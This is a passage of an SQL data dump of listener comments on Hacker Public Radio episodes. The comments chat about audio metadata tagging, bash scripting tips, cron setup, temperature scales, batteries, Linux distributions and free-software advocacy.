specification says. The cases where it matters seem like they wouldn\'t come up TOO often in practice. The examples that come to mind are mostly things like \"Darryl Hall and John Oates\" and \"Paul Simon and Art Garfunkel\" and \"William Gilbert and Arthur Sullivan\", all of whom are so well known as duos that \"Hall and Oates\", \"Simon and Garfunkel\", and \"Gilbert and Sullivan\" are practically all single-word names (kind of like that \"colladoody\" video game people were going on about...) and makes sense as a \"singlet\".  On the other hand, there\'s \"Ebony and Ivory\" (Stevie Wonder and Paul McCartney?), where I think it would definitely be more appropriate to follow the specification and give each \"artist\" their own tag. I just think it\'s more consistent to use all of the tags the same as per specification, and more people using the tags correctly will encourage playback software to support it correctly.)','2017-09-09 07:41:24'),
(766,1393,'2013-12-08 10:56:39','Ken Fallon','Metadata should not be included in the file','Hi Epicanis,\r\n\r\nVery informative show but I would argue that only metadata necessary for the playout of the file should be included in the file itself.  Everything else should be included in a separate file that itself is dedicated to hold the metatadata. That file might include locations for where other item might be found, eg, a url to the poster location, or a link to the wikipedia article. \r\n\r\nThe main reason for this would be to keep the complexity of the playout device as simple, and therefore as cheap , as possible. Your argument that there is enough space in a media file to hold all the metadata breaks down, once you start adding metadata in multiple languages, or extending it to add reviews, sleeve notes, wikipedia articles, reviews etc. At that point the text begins to get very significant indeed and runs the risk of been outdated very quickly.\r\n\r\nFields like, Title/Artist/Album/Track Number/Length, should be included as they are (usually not always) the same in every language, and give playout devices enough information for to display something useful, while another another more compiles, independent, process gathers the richer metadata from all over the web.\r\n\r\nIn an ideal world a single additional field with a global unique identifier would be enough to identify the work to the player, and allow it to go out an locate the metadata file, which in turn would link to other sources of information.\r\n\r\nKen.','2017-09-09 07:41:24'),
(767,1393,'2013-12-08 18:56:22','Epicanis','Admins Against Tagging...','Egad, Ken_Fallon, I have to say I strongly and FUNDAMENTALLY disagree there.  I guess I\'ll HAVE to record a followup now...\r\n\r\nWait.  That was your plan all along, wasn\'t it? You sly devil!\r\n\r\nYour argument essentially goes to the point of opposing local storage of files or information at all. What you\'re describing sounds like the user just has a big literally-meaningless (locally) number, and his/her/its media player is meant to send that big meaningless number to one or more places scattered on the general internet to beg for relevant \"content\".  (Your description doesn\'t take it that far, but once you\'re down to nothing but an audio and/or video stream and have gotten rid of everything else meaningful, and have mandated an internet connection to get it, why even keep the media itself locally?)\r\n\r\nI\'ll save the rest for a followup episode, so you win this round. :-)','2017-09-09 07:41:24'),
(768,1393,'2013-12-09 12:09:43','Ken Fallon','I\'m not an admin','First these are my own opinions. Second you completely misinterpreted my arguments so, first allow *me* to record a show stating my case and you can then record another arguing your point.\r\n\r\nThat way we get 3 shows !!!\r\n\r\nKen','2017-09-09 07:41:24'),
(769,1393,'2013-12-09 14:59:14','Epicanis','\"Charismatic Cult Leader\"?','\"El Presidente\"? \"Colonel\"?...\r\n(I actually have no idea what the [dis]organizational chart for HPR looks like, but I was equating your level of access with some form of administrative-level authority, even if you use it only sparingly and judiciously...)\r\n\r\n\"first allow *me* to record a show stating my case and you can then record another arguing your point.\r\n\r\nThat way we get 3 shows !!!\"\r\n\r\nAh, HA! I knew it! Will your nefarious schemes never end?\r\n\r\nSounds like a plan!\r\n\r\n(I should clarify that my leap to \"against tagging\" is largely based on an argument that any piece of information that is not actually ATTACHED to a file doesn\'t really count as \"tagging\", and, yes, I am intentionally engaging in a sort of \"inflatio ad absurdum\" there - I want more shows on this topic, too!)','2017-09-09 07:41:24'),
(770,1393,'2013-12-19 13:01:28','pokey','','Well, I liked it.','2017-09-09 07:41:24'),
(771,1396,'2013-12-10 20:56:14','Sarah Williams','listener','I\'d love to get this in sequence like an audiobook.  Then get it to itunes or newfiction.com \r\n\r\nKeep it up.','2017-09-09 07:41:24'),
(772,1397,'2013-12-19 13:04:16','pokey','Good show','It was great fun to listen to. You guys did a great job. I\'m sure it helped Ken\'s recovery to know that HPR is in good hands even when they aren\'t his own.','2017-09-09 07:41:24'),
(773,1398,'2013-12-12 11:36:39','Mark Waters','Thanks','Just wanted to say thanks for this episode , it was well produced and very informative.','2017-09-09 07:41:24'),
(774,1398,'2013-12-19 13:19:29','pokey','Great Episode','I really enjoyed this episode. Some of it I already knew, and most of it was new to me. I like when I know a little something when I start. It gives me more confidence in the new information. \r\n\r\nI have a couple of questions that I hope you wouldn\'t mind answering in a follow-up episode.\r\n\r\n1.) What was learned in 2011 that completed our understanding of how batteries work?\r\n2.) I forget my second question, but it was a good one. :(\r\n\r\nAs an aside, I have had really good results with Nickel Metal Hydride rechargeable batteries. They hold a charge for weeks and weeks with no noticeable drop in their run time, they store a good amount of energy (2200 mAh for size AA) and have a nice long runtime. I had one set of four AA batteries that I swapped back and forth in my flashlight (which takes two at a time) for almost five years. Sadly, I lost the flashlight with two of them in it, but I still have the other two in my Mintyboost, and they seem as good as ever.','2017-09-09 07:41:24'),
(775,1398,'2013-12-22 17:44:41','MrX','Reply','Hi Mark, very sorry for the long delay in getting back to you, finding the time sometimes can be difficult. Thanks for the kind words, glad you enjoyed the episode, am still trying to find the time to do part 2, hopefully won\'t be too much longer.\r\n\r\n-----------\r\n\r\nHi pokey, again very sorry for the long delay in getting back to you\r\nTo answer you 1st question:-\r\n\r\nA lead acid battery consists of lead electrode and one side and lead oxide at the other, lead oxides don\'t normally conduct electricity. Apparently it was only in 2011 that we figured out how it was working. When electrons travel between the electrodes the lead oxide looses oxygen transforming itself into a conductor.\r\n\r\nHope this answer question\r\n\r\nSounds like your also a bit of a battery fan, just goes to show that batteries can last for years (if you look after them).  Had a look at the Mintyboost, sounds very interesting, I would imagine it will be very handy :)','2017-09-09 07:41:24'),
(776,1399,'2013-12-19 12:42:54','pokey','NICE!','What an awesome interview. I really enjoyed it. Ben was great, and quite a good \"get\" if I may say so. You asked some really good questions too. I was unaware that the Linux Voice guys had started, so thank you for bringing that to my attention. Looks like I have some catching up to do.','2017-09-09 07:41:24'),
(777,1400,'2013-12-19 13:20:24','pokey','','Good show. This one is going to get a second listen. You guys have some very good ideas.','2017-09-09 07:41:24'),
(778,1400,'2014-09-19 05:07:38','Krayon','CalDAV etc','CalDAV/CardDAV: For N900 sync\'ing, syncevolution, for Android sync\'ing, DavDroid. It creates local accounts that can be used with native Contacts and Calendars. It\'s free and open source, get it from https://f-droid.org/\r\n\r\nAny MCE remote (search on eBay) are as cheap as chips and should work great. I use them on my XBMC boxen.','2022-02-14 13:16:37'),
(779,1404,'2014-01-03 21:06:55','George','All these years....','...and I didn\'t know about the multitool.  I\'ve needed that forever!\r\n\r\nI am curious, why 24-bit flac?  HPR shows being (mostly) mono, voice recordings don\'t typically need that kind of encoding.  I know that you are going to convert to ogg, mp3, speex and possibly opus, but still a 16-bit input file should be more than adequate in 99.999 percent of the cases.  Only when music is involved might it be necessary to use 24-bit, but even then, unless the source is recorded @ 24-bit it\'s really un-necessary.\r\n\r\nAlso, I was surprised there was no effort made to do noise removal, or level the tracks. I frequently notice level differences between the intro/outro and main recordings, levelling could go a long way to helping with that.','2017-09-09 07:41:24'),
(780,1404,'2014-01-05 20:43:40','Ken Fallon','Because....','Because for Archive.org will get the flac and they can then encode it from the best possible encoding available to us, to whatever new format comes along.\r\n\r\nFeel free to take a look at the encoding script and modify it as you desire. \r\ngit@gitorious.org:hpr-scheduling-system/hpr-scheduling-system.git\r\n\r\n/transcoding/hprtranscode\r\n\r\nKen.','2017-09-09 07:41:24'),
(781,1411,'2013-12-31 14:03:10','Nido Media','correction','\"Thomas Gordon\" is actually \"Thomas Goorden\", as in https://piratenpartij.be/user/513','2022-02-14 13:16:38'),
(782,1417,'2014-01-07 06:16:38','Ed teach','Great','The content was awesome.\r\nFigure out how to have a moderator. People are \r\nInterrupting each other . One guy was \r\nBreaking up continually .','2017-09-09 07:41:24'),
(783,1417,'2014-01-09 16:00:15','Ken Fallon','It\'s not my fault !!!','Hi Ed,\r\n\r\nPeople are interupting each other because we are all calling in from around the planet. While mumble is good, it cannot compensate for the speed of light, and so two people on other sides of the globe both speak at the same time in what to them is a vacant space. Not a lot you can do about it.\r\n\r\nI would be very reluctant to have a moderator as it would interrupt the flow.\r\n\r\nWe could however set some guidelines for talking, eg keying up, so that others know you wish to talk. Also training people that a silence is ok for a while as it will be removed automatically in the post recording.\r\n\r\nKen.','2017-09-09 07:41:24'),
(784,1428,'2014-04-15 11:26:23','Seetee','Linux version','In Steam you can now choose to install the Beta-version of Sanctum 2 to try it out. Works really well!','2017-09-09 07:41:24'),
(785,1430,'2014-02-04 15:27:52','Roan','','seq will do descending counts\r\n\r\nseq 100 -1 1\r\n\r\nseq FIRST INCREMENT LAST','2017-09-09 07:41:24'),
(786,1430,'2014-02-08 17:22:17','Cloud','Great podcast and brilliant idea for a series, but...','now I need to upgrade my broadband to allow for all these great videos that I wasn\'t getting before!','2017-09-09 07:41:24'),
(787,1430,'2014-02-09 11:14:28','Dave Morriss','The power of modern Bash','The power of modern Bash\r\nI wondered why you used:\r\n\r\nseq 1 ${maxtodownload} | while read videopage;\r\ndo\r\n\r\nas opposed to:\r\n\r\nfor (( videopage=1; videopage&amp;lt;=${maxtodownload}; videopage++ ))\r\ndo\r\n\r\nor (if you don\'t like repeating \'videopage\' three times):\r\n\r\nfor videopage in {1..10}\r\ndo\r\n\r\nYou can even do more fancy stuff like:\r\n\r\nfor i in {001..0010}; do\r\n\r\nfor i in {0010..001}; do\r\n\r\nfor c in {a..h}; do\r\n\r\nI find I almost never use the \'seq\' command in today\'s version of Bash.','2017-09-09 07:41:24'),
(788,1430,'2014-02-16 10:51:39','Ken Fallon','Because ...','I got into the habit of using while loops because it deals with spaces in input better or so I\'ve found., but mostly I can work in \"blocks\" up to the pipe \"|\" is one block. Test. Debug. Then on to the next block. That makes It easier to debug on the command line, where most of these start. \r\n\r\nNot using seq makes the script too bashey :) but that argument holds little water I know.','2017-09-09 07:41:24'),
(789,1430,'2014-05-23 15:07:11','Jim Zatorski','Extra video downloaded','Is anyone else having an extra video appear EVERYDAY (usually the same one)?\r\n\r\nI have tracked it down to the \"--max-quality\" switch.  The man page shows an expected \"=FMT\" clause.','2017-09-09 07:41:24'),
(790,1430,'2014-06-10 08:10:42','APCR','','Thanks for the script. It works great. Can anyone tell me how to run it as a cron job?  I have copied the file to /etc/cron.daily  but it does not run. Do I have to run a script that actions this script?','2017-09-09 07:41:24'),
(791,1430,'2014-06-10 14:34:22','Ken Fallon','cron','To get this to work in cron you need to make sure that the script is executable. Assuming the script is called \"boyt.bash\" and is in your own bin directory \"/home/apcr/bin/boyt.bash\".\r\n\r\nchmod +x /home/apcr/bin/boyt.bash\r\n\r\nCheck that is runs by just typing:\r\n/home/apcr/bin/boyt.bash\r\n\r\nAfter that it should run in cron.','2017-09-09 07:41:24'),
(792,1430,'2015-03-03 04:59:39','Ian','','I have copied the script but when I try to run it it says:\r\n\r\ntoshy@toshy-Satellite-A300:~/Desktop$ ./boyt.sh\r\nawk: line 0: regular expression compile failed (missing operand)\r\n\"|?\r\n\r\n\r\n','2017-09-09 07:41:24'),
(793,1430,'2015-03-05 09:29:31','Ken Fallon','','One thing I missed is that the logfile needs to exist the first time you run it so it may produce errors.\r\n\r\n@Ian I just tried it on another computer and it didn\'t complain. It could be that copying and pasting from the web page is causing problems. Try downloading it with wget\r\n\r\nwget -O ./boyt.sh https://hackerpublicradio.org/eps/hpr1430-downloader.bash.txt\r\n\r\nthen running it \r\n\r\nsh +x ./boyt.sh','2022-02-14 13:16:38'),
(794,1432,'2014-01-18 17:56:02','Donald Desjardin','Mildly miffed comment','When the presenter of this show talked about how the Farenheight numbers were crazy/random/strange, I vaguely remembered from my early grade school days that there was a logical reason for the numbers.\r\n\r\nSo I tried to look up the reasons as I remmebered them, but couldn\'t find anything on the web.\r\n\r\nFrom what I remember (almost 50 years ago) the person that developer the F scale (just like Mr Celcius) also wanted to use some known standards, and the coldest temp known and used was the freezing point of ocean water roughly zero F (it depend on the amount of salt/saturation in the water), and the 100 measurement was not the hottest point known (because they were still discovering hotter things), but the human body (98.6 is pretty close to 100, and i don\'t think they had the decimal precision then).\r\n\r\nHope that clear it up and makes un American\'s look a little less strange :-)\r\n\r\nThanks,\r\n\r\nDon','2017-09-09 07:41:24'),
(795,1432,'2014-01-21 17:38:58','Ken Fallon','\'twas I','Hi Don,\r\n\r\nI\'m the one that was ranting about the arbitrariness of the Farenheight scale. You are of course correct that the celcius scale is equally arbitrary, but at least there is a known reason for it. So I was thrilled to hear your explanation but my hopes were dashed by none other than the US Navy, https://www.onr.navy.mil/Focus/ocean/water/temp3.htm \"The freezing point of seawater is about 28.4&deg;F (-2&deg;C), instead of the 32&deg;F (0&deg;C) freezing point of ordinary water. \" \r\n\r\nBut then wikipedia (https://en.wikipedia.org/wiki/Daniel_Gabriel_Fahrenheit) explains \"The lowest temperature was achieved by preparing a frigorific mixture of ice, water, and ammonium chloride (a salt), and waiting for it to reach equilibrium. The thermometer then was placed into the mixture and the liquid in the thermometer allowed to descend to its lowest point. The thermometer\'s reading there was taken as 0 &deg;F. \"\r\n\r\nNot that seems to support your point but then we have \"The second reference point was selected as the reading of the thermometer when it was placed in still water when ice was just forming on the surface. This was assigned as 32 &deg;F. \" - Which begs my question why pick 32 degrees for that ?\r\n\r\nContinuing \"The third calibration point, taken as 96 &deg;F, was selected as the thermometer\'s reading when the instrument was placed under the arm or in the mouth.\" So he may have been using a multiple of 32 but why ?\r\n\r\nAlso - you owe me a show :)\r\n\r\nKen.\r\n\r\n','2022-02-14 13:16:38'),
(796,1432,'2014-01-26 07:49:54','Ken Fallon','5150 make a complying argument for Fahrenheit','0 Fahrenheit - Really cold outside\r\n100 Fahrenheit - Really hot outside\r\n\r\n0 Celsius Fairly cold outside\r\n100 Celsius Dead\r\n\r\n0 Kelvin Dead\r\n100 Kelvin Dead\r\n','2017-09-09 07:41:24'),
(797,1433,'2014-02-01 01:28:27','Mike','I found a guide on making chapters','https://stackoverflow.com/questions/53705/creating-mp4-m4a-files-with-chapter-marks\r\n\r\nMaybe I\'ll look into that.','2022-02-14 13:16:38'),
(798,1434,'2014-01-30 13:55:43','ToeJet','Account Free Android Project','I must have missed the link :)','2017-09-09 07:41:24'),
(799,1434,'2014-01-31 19:40:40','Windigo','This is relevant to my interests','I\'ve been greatly interested in tablet computing, but have been dismayed at the Google/Apple-centric environment out there. \r\n\r\nThis kind of tutorial/episode seems like an excellent way to start breaking away from that. Thanks for posting it!\r\n\r\nHave you considered trying an alternative ROM, like Cyannogenmod? I\'ve never done anything close to it, but I\'ve heard it thrown around as an option...\r\n\r\nThanks for the first episode, here\'s hoping it\'s not your last!','2017-09-09 07:41:24'),
(800,1434,'2014-03-21 15:19:43','Adventureboy','Thank You.','I have been planning to set up my Nexus 7 is a similar way.  I will be rooting and using Cyanogen Mod but I will be using your guide as a template for the rest of my configuration.  What are your thoughts on using Amazon\'s app store for commercial apps?  I would like to use it to get things like Netflix and Audible and Amazon wouldn\'t have as much control over the entire device as Google would.','2017-09-09 07:41:24'),
(801,1434,'2014-10-17 14:08:28','ToeJet','Couldn\'t root.','I was not allow to root when I did this.  When developed, I was working as Mobile Device Manager for an international company.   Rooted devices are not allowed on a corporate network.   Also rooting causes issues when there are OS updates.   I\'m pretty sure many other people are in similar situations.','2017-09-09 07:41:24'),
(802,1441,'2014-02-11 16:30:36','David L. Willson','Thanks!','Pokey,\r\n\r\nThanks for pissing them off so much that this show happened. I loved it! It took me back to the golden days of LUG Radio. I miss that show.\r\n\r\nKeep up the good fight.\r\n\r\nA few things they missed:\r\n\r\nOn Bug #1: We did win.\r\n\r\nOn free software not mattering. Of course it matters. When Aq mentioned all the things you can switch to when the thing you use now pisses you off, he listed several Linuxes, one MacOS, and one Windows. The switch cost between versions of Linux is much lower than the switch cost from MacOS or Windows.\r\n\r\nOn not being an ass-hat. It is perfectly possible to win with free software, to love free software, to be it\'s passionate advocate, without caring that someone else loves proprietary software. Proprietary software isn\'t evil, it\'s ineffective for a particular set of desired outcomes.\r\n\r\nOn command-lines. Really, Aq? It\'s a bug if there\'s not a GUI to do everything the user wants to do? Interestingly the CLI way of doing most things is the same for several years, if not eternally, but the GUI changes with the wind. Linus gave the GNOME project hell over this very thing. Stop breaking user-space without a good reason, and I\'ll stop teaching people to solve their problems from the CLI whenever possible. CLI\'s are powerful, so are chain-saws. The fact that they\'re both scary just adds to their beauty.\r\n\r\nOk, enough, or someone will tell me to record it, rather than writing it.\r\n\r\nGO POKEY!','2017-09-09 07:41:25'),
(803,1441,'2014-02-19 01:28:40','pokey','Wow. Thank you.','David, I agree with everything you\'ve said here (with the exception of proprietary software not being evil), and I\'m flattered that you\'ve taken the time to say them so well. I wish I could have made these points durring the recording. \r\n\r\nI am SUPER HAPPY whenever someone likes a show that I\'ve done. It makes my day when it actually resonates with a real person. I often feel like I\'m not articulate enough when I need to be, so I feel like when someone likes one of my shows, that means it\'s a special person. Thank you for making my day.','2017-09-09 07:41:25'),
(804,1441,'2014-03-08 14:00:25','sil','Replies','Yes. Yes, it\'s a bug if there\'s not a GUI way to do a thing that a user wants to do. I am of the opinion that the advantages of Ubuntu being wildly popular all around the world are advantages that I want to see -- much better hardware support, much better software support, no longer being a second-class citizen in many things -- and that most people are not interested in using the CLI, and teaching them to do so is the wrong approach.\r\n\r\nAs you say, it IS perfectly possible to win with free software, to love free software, to be its passionate advocate, without caring that someone else loves proprietary software. But not everyone does. And the people who castigate you make the environment so unpleasant that they\'re what drive you out. It seems that the \"advocate open source\" model has become, for some people, the \"chastise those who are insufficiently dedicated to open source\" model, and hearing that all the time is very, very tiring. It doesn\'t matter if there are a hundred nice people for every one nasty person, because you never get to hear from the nice people, just the nasty ones. And there is no culture of nice people calling out the nasty ones and stopping them doing it, because then the nice people look insufficiently dedicated and so become targets of zealot ire too.','2017-09-09 07:41:25'),
(805,1441,'2014-04-02 16:41:24','pokey','Sil, I can not disagree with you more.','At the time of this writing, HPR has almost 1500 episodes. Almost all of them are dedicated advocating, Free/Open Source Software, GNU/Linux, Open Standards and/or Free Culture and ALMOST ALL of them (I cant think of any exceptions) are hosted by NICE people being NICE. \r\n\r\nI\'m familiar with the attitude that you\'re describing, but I think it\'s the exception these days. I\'m somewhat of a late-comer to Linux/Free Software (2007ish), so maybe I\'m not an acceptable measuring stick, but I don\'t even remember a time when that attitude was the rule.','2017-09-09 07:41:25'),
(806,1441,'2014-04-06 13:33:57','Ken Fallon','Ubuntu != the only GUI','Hi Stu,\r\n\r\nre: \"..most people are not interested in using the CLI, and teaching them to do so is the wrong approach...\"\r\n\r\nIt may be the wrong approach but there is no one single unified way to do things via the GUI. Fact.\r\n\r\nEven within the Ubuntu family common tasks like copying files, adding printers, adding packages are all in different locations. \r\n Ubuntu GNOME - Ubuntu with the GNOME desktop environment \r\n Kubuntu - Ubuntu with the K Desktop environment\r\n Lubuntu - Ubuntu that uses LXDE\r\n Mythbuntu - Designed for creating a home theatre PC with MythTV\r\n Ubuntu Studio - Designed for multimedia editing and creation\r\n Xubuntu - Ubuntu with the XFCE desktop environment\r\n\r\nWere Ubuntu/Canonical actually serious about this vision, then a lot more work would be paid to pushing common methods of doing things in the GUI to the Free Desktop or some other upstream project. Taking care of the translation and accessibility support as you go.\r\n\r\nRight now when a friend asks how to do something and they need it done urgently, the only common way we have to *help* them is to do so in the command line.\r\n\r\nKen.','2017-09-09 07:41:25'),
(807,1449,'2014-02-20 09:00:40','Ken Fallon','Ask and ...','Thanks Peter64','2017-09-09 07:41:25'),
(808,1456,'2014-03-06 12:05:01','deepgeek','fahrenheit','Just a note on the \"arbitrariness\" of fahrenheit mentioned in the show.  fahrenheit\'s  original \"set points\" were original what was thought to be human body temperatures in the time it was invented.  Thus, a healthy human was pegged at 100 degrees, later advances in accuracy adjusted that to 98 degrees.\r\nThe two are just as arbitrary, using 100 degrees for boiling water or what temperature you think a healthy person should be at.\r\nNot that I\'m all that fond of either system, I just wanted to point out the historical tidbit.\r\n---\r\ndg','2017-09-09 07:41:25'),
(809,1458,'2014-09-09 09:54:41','Klaatu','Synfig','Synfig is one of my favourite applications. Truly a killer app. Thanks for this very informative interview.','2017-09-09 07:41:25'),
(810,1463,'2014-03-13 19:27:30','claudiom','Well said!','Great episode, sigflup!  I know exactly what you mean when you talk about keeping a balance with programming and personal life, especially when you have a partner in your life.  While mine wasn\'t due to programming, I did focus a lot on computers and music, mainly with composing music on my computers and just my fascination with computers and FOSS operating systems in general.  I was also fascinated with retrocomputing and making lots of that FOSS work on them.  This did take a lot of time away from my wife at the time.  Well, that part of my life is in the past and I\'m with my current wife, but I have learned from my mistakes in the past.  There needs to be a balance between our passions of interest and our passion for the ones we love.  As much as I love that kind of stuff, my wife is much more important to me.  She may not have any interest in this part of my life that I do enjoy, but I\'m fine with that.  I love her and dedicate my time to her primarily.  None of these things should ever become more important than our loved ones in our lives.','2017-09-09 07:41:25'),
(811,1463,'2014-03-14 19:35:00','deltaray','great','Great episode and stories Sigflup. ','2017-09-09 07:41:25'),
(812,1463,'2014-03-20 00:34:34','David L. Willson','Right there with you','I loved your stories. My \"I have a problem.\" moment was at 4AM, shivering in the garage, thinking, \"I really should get to bed soon. I have work in a few hours.\" :-)','2017-09-09 07:41:25'),
(813,1465,'2014-03-23 23:15:42','Durandal','Great episode from a great series','Ahuka, I know you have heard it before but this is a great series! I found it really useful to take the concepts you have talked about and apply it in a real-world example.\r\n\r\nAlso thanks for covering international measurements. It really added value for me sitting in the UK.\r\n\r\nLooking forward to the calc series as spreadsheets is where I spend most of my life at work these days.\r\n\r\nThanks!!','2017-09-09 07:41:25'),
(814,1466,'2014-03-19 11:54:31','Ron','Great info','I am interested in GPS\r\nthe only device I have owned is my N900 it works ok as a GPS.\r\nStarting to seem rally under powered.\r\nThe screen in small.\r\nI will now watch for a TOMTOM to purchase. ','2017-09-09 07:41:25'),
(815,1466,'2014-03-20 12:39:43','pokey','I never used an N900','I had an N810 and I used a couple of gps/map programs on it, but neither were complete enough (at the time) to get much use out of. The one that I remember I think was called NavIt. It showed a lot of promise, but it couldn\'t do offline navigation. \r\n\r\nThe TomTom is like an iDevice in that it \"just works.\" Meaning of course that it just does what it does, and nothing con be done differently than the way that the manufacturer has decreed. There are a few settings accessible to the user, but not much of any consequence. I bought mine used, and I\'d buy another used one if I needed it. I\'d even pay full price if I had to, but I\'d never buy one on the primaty market; casting my dollar vote for the way that the company behaves. They make devices which run a Linux kernel and they lock the device to their own management software, which only runs on Windows or Mac (and poorly at that).','2017-09-09 07:41:25'),
(816,1468,'2014-03-19 22:01:16','paradigm','Bedrock Linux','Hi, I\'m the founder and lead developer of Bedrock Linux.\r\n\r\nI made a point to pass your complements on the main people behind bedrocklinux.org\'s design.\r\n\r\nA key thing that may not have come across clearly which I wanted to elucidate: while Bedrock Linux happens to use chroot() behind the scenes, it is abstracted away from the end user.  Moreover, things aren\'t as segregated as some may assume when they hear the word \"chroot\".  From the end users point of view, you can just run programs and not worry about where they originate or how it works under-the-hood.  If you want a web browser from one distro, steam from another, a window manager from yet a third, you can just do that and they all play along together as though they were all from the same distro.  I may rework the documentation to put less emphasis on the word \"chroot\" to mimize possible confusion.\r\n\r\nThanks for helping get Bedrock Linux more attention!  I agree - more TLC for smaller distros like Bedrock and Bridge would certainly be a good thing.  Buuut maybe I\'m biased.','2017-09-09 07:41:25'),
(817,1469,'2014-03-23 23:10:14','Durandal','Valued show, please keep it!','I understand the comments in the show and asking the question Ken.\r\n\r\nI agree that it works better when more people are involved and appreciate that when theres only 2 or 3 it may seem less valued.\r\n\r\nEveryone needs to make more of an effort to attend the recordings. This includes me. Might be a good way to get into making my own episodes.','2017-09-09 07:41:25'),
(818,1470,'2014-03-31 19:08:56','jezra','what do you mean \'no one says that\'?','If the time is 9:04, I don\'t say \"four after nine\" or \"four past nine\", I say \"nine oh four\". Dag-nabbit! kids these days.','2017-09-09 07:41:25'),
(819,1471,'2014-03-24 03:20:58','Jonas','Encryping stuff','Thanks for the episode. You seem to do more interesting things in your normal computer use than the rest of us do. I\'m interested in hearing more like this in the future. What seems mundane to you is really interesing to us regular desktop users. \r\n\r\nIs there a reason to use blowfish in partucular?\r\nWhen you say \"enter your key\", do you mean enter the password for the key created earlier? I\'ve created keys with and without password before.\r\nIf you want to see an encrypted file using a text editor or movie player, is there a program or script you use as a front end to decypt and play on the fly, or do you decrypt and then handle the file separately? I\'m wondering if you use a GTK or Python popup to ask for the key password or something like that. ','2017-09-09 07:41:25'),
(820,1471,'2014-03-27 00:46:38','sigflup','yo','Blowfish because it\'s fun. No other reason. \r\n\r\nKey as in the same key you entered. You are not creating a key/password pair, you are manually entering a key in and you\'re entering it in twice. once for decrypting and once for encrypting. \r\n\r\nI would handle decrypting separately. If you script/write something that handle\'s encrypted files that would be nice. So far I\'ve just been piping them into things.\r\n\r\nI hope that answers your questions. Mail me if it doesn\'t. pantsbutt @ @ g mail . com\r\n\r\nTHANKS FOR LISTENING!!!!!!','2017-09-09 07:41:25'),
(821,1474,'2014-04-02 16:45:48','pokey','Time for an update?','Damn! This ep wasn\'t even out a week, and they Reved the UI. Do we need to do an update show?','2017-09-09 07:41:25'),
(822,1474,'2014-04-03 13:27:27','Ken Fallon','Hummm let me think','yes.','2017-09-09 07:41:25'),
(823,1476,'2014-04-17 20:01:36','Flip Marley','background music','What is the music playing in the background? And how can I get it?','2017-09-09 07:41:25'),
(824,1477,'2014-04-01 13:09:05','DeepGeek','Happy April','Particularly loved the readings, thrown in as easter eggs, of bizzarrely boring techno dribble.  If I had known that was going to be part of this show, I would have found something opaque to read from the great computer scientist Donald Knuth.\r\n\r\nhttps://en.wikipedia.org/wiki/Donald_Knuth\r\n\r\n---\r\nDG','2017-09-09 07:41:25'),
(825,1477,'2014-04-02 16:22:22','pok','No worries','I don\'t think any of us knew.','2017-09-09 07:41:25'),
(826,1482,'2014-04-09 16:21:02','tonieee','Tux Radar is now Linux Voice','The guys who did Tux Radar have left Linux Format to form their own magazine, Linux Voice, so you can now find their podcast on their website (https://www.linuxvoice.com/).\r\n\r\nIn case you aren\'t aware Linux Voice magazine are going to give 50% of their profits to the free software community and make all their content CC-BY-SA 9 months after publication which is pretty awesome.','2022-02-14 13:16:39'),
(827,1482,'2014-04-14 01:46:06','brother mouse','the mousepad','Pocket Casts for android allows the setting of playback speedup on a podcast-by-podcast basis.  \r\n\r\nThe only show I speed up is \"under the influence\" from CBC.  That dude.... talks... so.   slow....  I speed it up 20% and it finally sounds normal.','2017-09-09 07:41:25'),
(828,1484,'2014-04-12 13:48:36','Ken Fallon','It\'s spelled with an E','https://en.wikipedia.org/wiki/Irish_whiskey','2022-02-14 13:16:39'),
(829,1484,'2014-04-17 03:42:02','Deltaray','New Desktop Recording program','There is a great new Screen recording program that is easy to use, works well and works with OpenGL even. Its called Simple Screen Recorder (SSR)\r\n\r\nhttps://www.maartenbaert.be/simplescreenrecorder/\r\n\r\nAlso, I find kdenlive to be a decent video editor that\'s easy to use. I also use Blender, but I understand that the learning curve is a lot higher for it. There is also Lives, but I haven\'t used it.\r\n\r\n','2022-02-14 13:16:39'),
(830,1484,'2014-05-30 20:39:52','FiftyOneFifty','','It\'s spelled S-C-O-T-C-H','2017-09-09 07:41:25'),
(831,1486,'2014-04-18 11:20:20','borgu','greate interview','great interview, listened to it 3 times now. will listen again. good job guys!','2017-09-09 07:41:25'),
(832,1488,'2014-04-16 12:49:54','CPrompt','Good shows!','I listen to a lot of these same shows but there are a few that I will be adding to my podcatcher.\r\n\r\nTHanks!','2017-09-09 07:41:25'),
(833,1494,'2014-04-25 05:22:55','freelikegnu','Building a PC','https://pcpartpicker.com/ is good for exploring some new build combos. My prefered method for obtaining pc hardware is leveraging reviews from amazon and newegg for parts I can find on ebay.  Sometimes the stores are cheaper, but usually last gen parts are the best deal and are often in new condition.  There really should be some mention about making sure ram is compatable with the CPU and sometimes the motherboard may be picky about ram specs. ','2022-02-14 13:16:40'),
(834,1495,'2014-04-25 19:18:03','anon','','This guy sounds like a teacher.  He should produce online video courses.','2017-09-09 07:41:25'),
(835,1496,'2014-05-04 22:44:59','timttmy','ciwiki -- a didiwiki clone','Just a quick note to say I enjoyed the episode and that I use ciwiki a fork of didiwiki. The main benefit of ciwiki is that you can choose to make pages private and require a user to login to view or edit the content. https://sourceforge.net/projects/ciwiki/ . We needed something simple at work to keep sales quotes in but we are quite a small company so a full CRM would be overkill so I thought a wiki might be a good idea. I looked at LOADS, but decided that didiwiki (well ciwiki) was simple enough that everyone could use it with around 10 minutes training. We have been running it for around 3 and a half years now and a quick \" ls .didiwiki | sed \'/.prev.1/d\' | wc -l \" shows that there are 1137 pages in our .didiwiki folder. I\'ve found that the built in browser search ctrl^ f works better when searching through page titles. Also backing it up is a piece of cake! I just have a script that runs at 4pm everyday which gzips the whole .didiwiki folder and emails it to me. The gzipped archive is  less than 2MBs in size, another win for being plain text.\r\n\r\nAnyway, thanks for the show!\r\n\r\n--timttmy','2022-02-14 13:16:40'),
(836,1496,'2015-03-04 11:39:35','JPRedonnet','Ciwiki','Hi timttmy,\r\n\r\nI am pleased you like ciwiki. If you have some toubles with it, or if you need more functionnalities. Don\'t hesitate to send me an email. You will find me email addr on sourceforge.net/projects/ciwiki/.\r\n\r\nI\'am the developper of this fork,\r\nJP Redonnet.\r\n\r\n','2017-09-09 07:41:25'),
(837,1497,'2014-05-19 22:13:16','Peter64','Thanks','Really enjoyed this, can\'t wait to listen to part two.\r\n\r\nThanks','2017-09-09 07:41:25'),
(838,1499,'2014-05-26 15:58:00','Dave Morriss','I enjoyed the history in your show','Thanks for this, I found it quite fascinating. My career in IT covered a number of the points you mentioned in your show, so it was good to reminisce. ','2017-09-09 07:41:25'),
